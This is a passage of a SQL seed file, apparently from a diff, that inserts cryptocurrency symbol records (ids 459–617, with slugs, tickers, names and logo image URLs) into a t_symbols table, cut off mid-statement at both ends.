'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everdome.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (459, 'pluton', 'PLU', 'Pluton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluton.png', NULL); +INSERT INTO `t_symbols` VALUES (460, 'gamitoken', 'GAMI', 'GAMI World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gami.png', NULL); +INSERT INTO `t_symbols` VALUES (461, 'ftn', 'FTN', 'Fountain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (462, 'namecoin', 'NMC', 'Namecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/namecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (463, 'marcopolo', 'MAP', 'MAP Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marcopolo.png', NULL); +INSERT INTO `t_symbols` VALUES (464, 'lition', 'LIT', 'Lition', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lition.png', NULL); +INSERT INTO `t_symbols` VALUES (465, 'refereum', 'RFR', 'Refereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/refereum.png', NULL); +INSERT INTO `t_symbols` VALUES (466, 'melon', 'MLN', 'Enzyme', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/melon.png', NULL); +INSERT INTO `t_symbols` VALUES (467, 'swarm', 'BZZ', 'Swarm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/Swarm.png', NULL); +INSERT INTO `t_symbols` VALUES (468, 'cream-2', 'CREAM', 'Cream', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cream-2.png', NULL); +INSERT INTO `t_symbols` VALUES (469, 'alpha-quark-token', 'AQT', 'Alpha Quark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-quark-token.png', NULL); +INSERT INTO `t_symbols` VALUES (470, 'gods-unchained', 'GODS', 'Gods Unchained', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gods-unchained.png', NULL); +INSERT INTO `t_symbols` VALUES (471, 'orion-protocol', 'ORN', 'Orion Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orion-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (472, 'travala', 'AVA', 'Travala.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/travala.jpg', NULL); +INSERT INTO `t_symbols` VALUES (473, 'ycc', 'YCC', 'Yuan Chain Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ycc.png', NULL); +INSERT INTO `t_symbols` VALUES (474, 'district0x', 'DNT', 'district0x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/district0x.png', NULL); +INSERT INTO `t_symbols` VALUES (475, 'taas', 'TAAS', 'TaaS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/taas.png', NULL); +INSERT INTO `t_symbols` VALUES (476, 'safe2', 'SAFE2', 'SAFE2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe2.png', NULL); +INSERT INTO `t_symbols` VALUES (477, 'unigame', 'UNC', 'UniGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unigame.jpg', NULL); +INSERT INTO `t_symbols` VALUES (478, 'ads', 'ADS', 'Adshares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ads.png', NULL); +INSERT INTO `t_symbols` VALUES (479, 'alpaca-finance', 'ALPACA', 'Alpaca Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpaca-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (480, 'wild-crypto', 'WILD', 'Wild Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wild-crypto.png', NULL); +INSERT INTO `t_symbols` VALUES (481, 'dia-data', 'DIA', 'DIA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dia-data.png', NULL); +INSERT INTO `t_symbols` VALUES (482, 'propy', 'PRO', 'Propy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/propyinc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (483, 'star-atlas-dao', 'POLIS', 'Star Atlas DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/star-atlas-dao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (484, 'iconomi', 'ICN', 'ICONOMI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iconomi.png', NULL); +INSERT INTO `t_symbols` VALUES (485, 'bitshares', 'BTS', 'BitShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares.png', NULL); +INSERT INTO `t_symbols` VALUES (486, 'victoriavrtokens', 'VR', 'Victoria VR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/victoriavr.png', NULL); +INSERT INTO `t_symbols` VALUES (487, 'rai-finance', 'SOFI', 'RAI Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rai-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (488, 'defipulse-index', 'DPI', 'DeFi Pulse Index', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defipulse-index.png', NULL); +INSERT INTO `t_symbols` VALUES (489, 'unifi-protocol-dao', 'UNFI', 'Unifi Protocol DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unifi-protocol-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (490, 'alpine-f1-team-fan-token', 'ALPINE', 'Alpine F1 Team Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpine-f1-team-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (491, 'contentos', 'COS', 'Contentos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/contentos.png', NULL); +INSERT INTO `t_symbols` VALUES (492, 'tixl', 'MTXLT', 'Tixl [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tixl.png', NULL); +INSERT INTO `t_symbols` VALUES (493, 'moac', 'MOAC', 'MOAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moac.png', NULL); +INSERT INTO `t_symbols` VALUES (494, 'aragon-court', 'ANJ', 'Aragon Court', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon-court.png', NULL); +INSERT INTO `t_symbols` VALUES (495, 'ampleforth-governance-token', 'FORTH', 'Ampleforth Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ampleforth-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (496, 'streamr-datacoin', 'DATA', 'Streamr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/streamr-datacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (497, 'bakerytoken', 'BAKE', 'BakerySwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bakerytoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (498, 'ramp-defi', 'RAMP', 'RAMP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ramp-defi.png', NULL); +INSERT INTO `t_symbols` VALUES (499, 'redfox-labs', 'RFOX', 'RFOX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/redfox-labs.png', NULL); +INSERT INTO `t_symbols` VALUES (500, 'jasmycoin', 'JASMY', 'JasmyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jasmycoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (501, 'jex', 'JEX', 'JEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/JEX_Derivative.jpg', NULL); +INSERT INTO `t_symbols` VALUES (502, 'clearcoinx', 'XCLR', 'ClearCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clearcoinx.png', NULL); +INSERT INTO `t_symbols` VALUES (503, 'nuls', 'NULS', 'Nuls', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuls.png', NULL); +INSERT INTO `t_symbols` VALUES (504, 'gyen', 'GYEN', 'GYEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gyen.png', NULL); +INSERT INTO `t_symbols` VALUES (505, 'rei-network', 'REI', 'REI Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rei-network.png', NULL); +INSERT INTO `t_symbols` VALUES (506, 'catex-token', 'CATT', 'Catex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/catex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (507, 'ultiledger', 'ULT', 'Ultiledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultiledger.png', NULL); +INSERT INTO `t_symbols` VALUES (508, 'polkafoundry', 'PKF', 'Firebird', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkafoundry.png', NULL); +INSERT INTO `t_symbols` VALUES (509, 'innovative-bioresearch', 'INNBC', 'Innovative Bioresearch Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/innovative-bioresearch.png', NULL); +INSERT INTO `t_symbols` VALUES (510, 'adx-net', 'ADX', 'Ambire AdEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adx-net.png', NULL); +INSERT INTO `t_symbols` VALUES (511, 'bit-z', 'BZ', 'BitZ Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit-z.png', NULL); +INSERT INTO `t_symbols` VALUES (512, 'chipswap', 'CHIPS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chipswap.png', NULL); +INSERT INTO `t_symbols` VALUES (513, 'bluzelle', 'BLZ', 'Bluzelle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', NULL); +INSERT INTO `t_symbols` VALUES (514, 'guildofguardians', 'GOG', 'Guild of Guardians', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/guildofguardians%20.png', NULL); +INSERT INTO `t_symbols` VALUES (515, 'leagueofkingdomsarena', 'LOKA', 'League of Kingdoms', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/leagueofkingdomsarena.png', NULL); +INSERT INTO `t_symbols` VALUES (516, 'elitium', 'EUM', 'Elitium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elitium.png', NULL); +INSERT INTO `t_symbols` VALUES (517, 'tokocrypto', 'TKO', 'Tokocrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokocrypto.png', NULL); +INSERT INTO `t_symbols` VALUES (518, 'liquidapps', 'DAPP', 'LiquidApps', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquidapps.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (519, 'tokpie', 'TKP', 'TOKPIE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokpie.png', NULL); +INSERT INTO `t_symbols` VALUES (520, 'kardiachain', 'KAI', 'KardiaChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kardiachain.png', NULL); +INSERT INTO `t_symbols` VALUES (521, 'guildfi', 'GF', 'GuildFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guildfi.png', NULL); +INSERT INTO `t_symbols` VALUES (522, 'airswap', 'AST', 'AirSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airswap.png', NULL); +INSERT INTO `t_symbols` VALUES (523, 'get-protocol', 'GET', 'GET Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/get-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (524, 'oxycoin', 'OXY', 'Oxycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oxycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (525, 'revain', 'REV', 'Revain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revain.png', NULL); +INSERT INTO `t_symbols` VALUES (526, 'gxchain', 'GXC', 'GXChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gxchain.png', NULL); +INSERT INTO `t_symbols` VALUES (527, 'lever', 'LEVER', 'LeverFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (528, 'btu-protocol', 'BTU', 'BTU Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btu-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (529, 'streamcoin', 'STRM', 'StreamCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/streamcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (530, 'fusion', 'FSN', 'FUSION', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fusion.png', NULL); +INSERT INTO `t_symbols` VALUES (531, 'cargox', 'CXO', 'CargoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cargoxio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (532, 'mango-markets', 'MNGO', 'Mango', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mango-markets.png', NULL); +INSERT INTO `t_symbols` VALUES (533, 'v-id', 'VIDT', 'VIDT DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/v-id.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (534, 'metronome', 'MET', 'Metronome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metronome.png', NULL); +INSERT INTO `t_symbols` VALUES (535, 'sonm', 'SNM', 'SONM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sonm.png', NULL); +INSERT INTO `t_symbols` VALUES (536, 'qash', 'QASH', 'QASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qash.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (537, 'manchester-city-fan-token', 'CITY', 'Manchester City Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/manchester-city-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (538, 'zcoin', 'FIRO', 'Firo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (539, 'sweateconomy', 'SWEAT', 'Sweatcoin - Sweat Economy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sweateconomy.png', NULL); +INSERT INTO `t_symbols` VALUES (540, 'star-atlas', 'ATLAS', 'Star Atlas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/star-atlas.png', NULL); +INSERT INTO `t_symbols` VALUES (541, 'sentinel-protocol', 'UPP', 'Sentinel Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentinel-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (542, 'og', 'OG', 'OG Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/og.png', NULL); +INSERT INTO `t_symbols` VALUES (543, 'bzx-protocol', 'BZRX', 'bZx Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bzx-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (544, 'dforce-token', 'DF', 'dForce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dforce-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (545, 'parsiq', 'PRQ', 'PARSIQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/parsiq.png', NULL); +INSERT INTO `t_symbols` VALUES (546, 'stafi', 'FIS', 'Stafi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stafi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (547, 'infinitecoin', 'IFC', 'Infinitecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinitecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (548, 'kin', 'KIN', 'Kin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kin.png', NULL); +INSERT INTO `t_symbols` VALUES (549, 'xcad', 'XCAD', 'XCAD Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/XCAD.png', NULL); +INSERT INTO `t_symbols` VALUES (550, 'harvest-finance', 'FARM', 'Harvest Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harvest-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (551, 'ttc-protocol', 'MARO', 'Maro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ttc-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (552, 'renbtc', 'RENBTC', 'renBTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/renbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (553, 'conun', 'CON', 'CONUN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conun.png', NULL); +INSERT INTO `t_symbols` VALUES (554, 'rarible', 'RARI', 'Rarible', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rarible.png', NULL); +INSERT INTO `t_symbols` VALUES (555, 'hard-protocol', 'HARD', 'Kava Lend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hard-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (556, 'highstreet', 'HIGH', 'Highstreet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/highstreet.png', NULL); +INSERT INTO `t_symbols` VALUES (557, 'pivx', 'PIVX', 'PIVX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pivx.png', NULL); +INSERT INTO `t_symbols` VALUES (558, 'axel', 'AXEL', 'AXEL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axel.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (559, 'cartaxi-token', 'CTX', 'CarTaxi Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartaxi-token.png', NULL); +INSERT INTO `t_symbols` VALUES (560, 'gitcoin', 'GTC', 'Gitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (561, 'boson-token', 'BOSON', 'Boson Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boson-token.png', NULL); +INSERT INTO `t_symbols` VALUES (562, 'jingtum-tech', 'SWTC', 'SWTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jingtum-tech.png', NULL); +INSERT INTO `t_symbols` VALUES (563, 'mdkx', 'MDKX', 'MDKX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdkx.png', NULL); +INSERT INTO `t_symbols` VALUES (564, 'drunkrobots', 'METAL', 'Drunk Robots', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/drunkrobots.png', NULL); +INSERT INTO `t_symbols` VALUES (565, 'quantum-resistant-ledger', 'QRL', 'Quantum Resistant Ledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantum-resistant-ledger.png', NULL); +INSERT INTO `t_symbols` VALUES (566, 'clover-finance', 'CLV', 'Clover Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clover-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (567, 'aeternity', 'AE', 'Aeternity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeternity.png', NULL); +INSERT INTO `t_symbols` VALUES (568, 'zenon', 'ZNN', 'Zenon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenon.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (569, 'distributed-credit-chain', 'DCC', 'Distributed Credit Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/distributed-credit-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (570, 'circuits-of-value', 'COVAL', 'Circuits of Value', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/circuits-of-value.png', NULL); +INSERT INTO `t_symbols` VALUES (571, 'unilend-finance', 'UFT', 'UniLend Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unilend-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (572, 'cult-dao', 'CULT', 'Cult DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cult-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (573, 'fio-protocol', 'FIO', 'FIO Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fio-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (574, 'zb-blockchain', 'ZB', 'ZB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zb-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (575, 'fida', 'FIDA', 'Bonfida', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fida.png', NULL); +INSERT INTO `t_symbols` VALUES (576, 'cerenetwork', 'CERE', 'Cere Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/cerenetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (577, 'vite', 'VITE', 'VITE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vite.jpg', NULL); +INSERT INTO `t_symbols` VALUES (578, 'bitcoin-diamond', 'BCD', 'Bitcoin Diamond', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-diamond.png', NULL); +INSERT INTO `t_symbols` VALUES (579, 'viat', 'VIAT', 'ViaBTC Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (580, 'fc-porto', 'PORTO', 'FC Porto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fc-porto.png', NULL); +INSERT INTO `t_symbols` VALUES (581, 'wing-finance', 'WING', 'Wing Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wing-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (582, 'shiden-network', 'SDN', 'Shiden Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiden-network.png', NULL); +INSERT INTO `t_symbols` VALUES (583, 'noia-network', 'NOIA', 'Syntropy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noia-network.png', NULL); +INSERT INTO `t_symbols` VALUES (584, 'centrality', 'CENNZ', 'CENNZnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/centrality.png', NULL); +INSERT INTO `t_symbols` VALUES (585, 'trustswap', 'SWAP', 'Trustswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trustswap.png', NULL); +INSERT INTO `t_symbols` VALUES (586, 'aleph', 'ALEPH', 'Aleph.im', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aleph.png', NULL); +INSERT INTO `t_symbols` VALUES (587, 'proton', 'XPR', 'Proton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proton.png', NULL); +INSERT INTO `t_symbols` VALUES (588, 'diamond', 'DMD', 'Diamond', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/diamond.png', NULL); +INSERT INTO `t_symbols` VALUES (589, 'presearch', 'PRE', 'Presearch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/presearch.png', NULL); +INSERT INTO `t_symbols` VALUES (590, 'vxv', 'VXV', 'Vectorspace AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vxv.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (591, 'mathwallet', 'MATH', 'MATH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mathwallet.png', NULL); +INSERT INTO `t_symbols` VALUES (592, 'hegic', 'HEGIC', 'Hegic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hegic.png', NULL); +INSERT INTO `t_symbols` VALUES (593, 'mantra-dao', 'OM', 'MANTRA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mantra-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (594, 'latoken', 'LA', 'LATOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/latoken.png', NULL); +INSERT INTO `t_symbols` VALUES (595, 'burger-swap', 'BURGER', 'BurgerCities', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/burger-swap.png', NULL); +INSERT INTO `t_symbols` VALUES (596, 'fes', 'FES', 'FES', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fes.png', NULL); +INSERT INTO `t_symbols` VALUES (597, 'santos-fc-fan-token', 'SANTOS', 'Santos FC Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/santos-fc-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (598, 'chronobank', 'TIME', 'chrono.tech', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chronobank.png', NULL); +INSERT INTO `t_symbols` VALUES (599, 'tranchess', 'CHESS', 'Tranchess', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tranchess.png', NULL); +INSERT INTO `t_symbols` VALUES (600, 'waltonchain', 'WTC', 'Waltonchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waltonchain.png', NULL); +INSERT INTO `t_symbols` VALUES (601, 'dock', 'DOCK', 'Dock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dock.png', NULL); +INSERT INTO `t_symbols` VALUES (602, 'polyswarm', 'NCT', 'PolySwarm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polyswarm.png', NULL); +INSERT INTO `t_symbols` VALUES (603, 'frontier', 'FRONT', 'Frontier', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frontier.png', NULL); +INSERT INTO `t_symbols` VALUES (604, 'lazio-fan-token', 'LAZIO', 'Lazio Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sslazio.png', NULL); +INSERT INTO `t_symbols` VALUES (605, 'amber', 'AMB', 'AirDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amber.png', NULL); +INSERT INTO `t_symbols` VALUES (606, 'menloone', 'ONE', 'Menlo One', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/menloone.jpg', NULL); +INSERT INTO `t_symbols` VALUES (607, 'kleros', 'PNK', 'Kleros', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kleros.jpg', NULL); +INSERT INTO `t_symbols` VALUES (608, 'orca', 'ORCA', 'Orca', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orca.png', NULL); +INSERT INTO `t_symbols` VALUES (609, 'qqbc', 'QQBC', 'QQBC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qqbc.png', NULL); +INSERT INTO `t_symbols` VALUES (610, 'coin-capsule', 'CAPS', 'Ternoa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin-capsule.png', NULL); +INSERT INTO `t_symbols` VALUES (611, 'divi', 'DIVI', 'Divi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/diviproject.jpg', NULL); +INSERT INTO `t_symbols` VALUES (612, 'deapcoin', 'DEP', 'DEAPcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deapcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (613, 'paris-saint-germain-fan-token', 'PSG', 'Paris Saint-Germain Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paris-saint-germain-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (614, 'unibright', 'UBT', 'Unibright', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unibright.png', NULL); +INSERT INTO `t_symbols` VALUES (615, 'dynamic-trading-rights', 'DTR', 'Dynamic Trading Rights', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamic-trading-rights.png', NULL); +INSERT INTO `t_symbols` VALUES (616, 'sharechain', 'SSS', 'Super Smart Share', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharechain.png', NULL); +INSERT INTO `t_symbols` VALUES (617, 'terra-virtua-kolect', 'TVK', 'The Virtua Kolect', 